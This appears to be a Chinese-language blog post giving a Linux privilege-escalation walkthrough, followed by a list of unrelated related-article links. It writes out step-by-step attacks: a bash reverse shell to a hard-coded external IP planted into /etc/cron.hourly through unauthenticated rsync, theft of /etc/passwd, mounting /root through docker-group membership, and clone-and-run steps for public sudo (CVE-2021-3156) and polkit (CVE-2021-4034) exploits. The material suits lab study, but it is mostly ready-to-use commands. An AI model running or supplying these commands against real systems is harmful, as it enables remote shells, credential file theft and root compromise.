【权限提升】Linux系统&Docker挂载&Rsync未授权&Sudo-CVE&Polkit-CVE

简介: 【权限提升】Linux系统&Docker挂载&Rsync未授权&Sudo-CVE&Polkit-CVE

Rsync(未授权访问)

Rsync是linux下一款数据备份工具,默认开启873端口

https://vulhub.org/#/environments/rsync/common/

借助Linux默认计划任务调用/etc/cron.hourly,利用rsync连接覆盖

前提:没有账号密码验证 开放873端口


-提权过程:

  1. 创建一个nc文件,内容
    #!/bin/bash
    /bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i
  2. 赋予执行权限:chmod +x nc
  3. 上传文件覆盖定时任务目录下rsync -av nc rsync://47.94.236.117:873/src/etc/cron.hourly
  4. 下载文件rsync -av rsync://47.94.236.117:873/src/etc/passwd ./
  5. 进行nc 监听相应的端口nc -lvnp 3333


Docker组挂载

条件:普通用户在docker组,利用docker服务启动镜像挂载目录

从而来访问root目录、etc目录等敏感文件来进行权限提升。


-复现:创建用户归类目录,添加到docker组

useradd -d /home/test -m  test
passwd test
usermod -G docker test
newgrp docker


-利用:

docker run -v /root:/mnt -it alpine

主要的作用是:从Docker上面下载alpine镜像,然后运行;

-v将容器外部的目录/root(其他目录也可以) 挂载到容器内部/mnt,使用-it参数进入容器shell。


补充:拿到普通用户权限后,并且该用户在docker中,意思就是可以控制docker服务

管理员将真实物理机/root目录挂载到容器内部/mnt中,-it参数进入容器shell,


SUDO(CVE-2021-3156)版本

-判断:

sudo: 1.8.2 - 1.8.31p2

sudo: 1.9.0 - 1.9.5p1

sudoedit -s / 报错 则存在


未报错,不存在:

-利用:普通本地用户权限

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 1


Polkit(CVE-2021-4034)

影响2009年5月至今的所有polkit版本

由于polkit是系统预装工具,所有存在polkit的linux系统均受影响

如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等

-判断:dpkg -l policykit-1

-利用:

git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034/
make
./cve-2021-4034
相关文章
|
3天前
|
机器学习/深度学习 JSON JavaScript
在linux系统上看全世界新闻 -- Clinews的使用详解
这篇文章介绍了如何在Linux系统上使用Clinews命令行工具阅读全世界的新闻,包括安装、配置API密钥、使用命令获取新闻源和搜索新闻的步骤。
17 3
在linux系统上看全世界新闻 -- Clinews的使用详解
|
4天前
|
Linux Shell
Linux系统
是对Linux系统进行管理的命令。对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,Linux系统管理的命令是它正常运行的核心,与之前的DOS命令类似。linux命令在系统中有两种类型:内置Shell命令和Linux命令。
|
3天前
|
Linux Shell
Linux系统
是对Linux系统进行管理的命令。对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,Linux系统管理的命令是它正常运行的核心,与之前的DOS命令类似。linux命令在系统中有两种类型:内置Shell命令和Linux命令。
|
5天前
|
Linux Shell
Linux系统
是对Linux系统进行管理的命令。对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,Linux系统管理的命令是它正常运行的核心,与之前的DOS命令类似。linux命令在系统中有两种类型:内置Shell命令和Linux命令。
|
1天前
|
Linux Docker 容器
linux之docker命令
linux之docker命令
|
1天前
|
Linux Shell
Linux系统
是对Linux系统进行管理的命令。对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,Linux系统管理的命令是它正常运行的核心,与之前的DOS命令类似。linux命令在系统中有两种类型:内置Shell命令和Linux命令。
|
2天前
|
Shell Linux Python
python执行linux系统命令的几种方法(python3经典编程案例)
文章介绍了多种使用Python执行Linux系统命令的方法,包括使用os模块的不同函数以及subprocess模块来调用shell命令并处理其输出。
9 0
|
2天前
|
Linux Shell
Linux系统
是对Linux系统进行管理的命令。对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,Linux系统管理的命令是它正常运行的核心,与之前的DOS命令类似。linux命令在系统中有两种类型:内置Shell命令和Linux命令。
|
18天前
|
Linux Shell
Linux 中 Tail 命令的 9 个实用示例
Linux 中 Tail 命令的 9 个实用示例
59 6
Linux 中 Tail 命令的 9 个实用示例
|
14天前
|
设计模式 Java Linux
Linux的20个常用命令
Linux的23个常用命令
Linux的20个常用命令